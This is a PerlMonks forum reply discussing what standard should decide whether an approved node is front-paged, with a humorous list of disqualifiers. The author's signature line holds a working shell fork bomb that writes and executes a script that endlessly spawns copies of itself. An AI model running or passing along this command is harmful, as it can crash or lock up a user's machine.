Great node! Muskrat++

(How the hell did I get this started? :-D )

I was hoping for a fairly similar group opinion on this, but it seems that does not exist. Different people have different ideas of what is correct for the front page. In light of that, I would ask a different question:

* If most everything that is approved should be on the front page, then what is the standard for approving a node?

Is it easier to say what should not be front-paged?
* Long post, no readmore
* Very bad spelling
* No code
* Not perl
* Looks like homework
* Might cause holy-war
* May induce hair-loss

.. maybe not that last one.... :-)

Cheers,
ibanix

$ echo '$0 & $0 &' > foo; chmod a+x foo; foo;

In reply to Re: Considering Front Paging a Node? by ibanix
in thread Considering Front Paging a Node? by Mr. Muskrat

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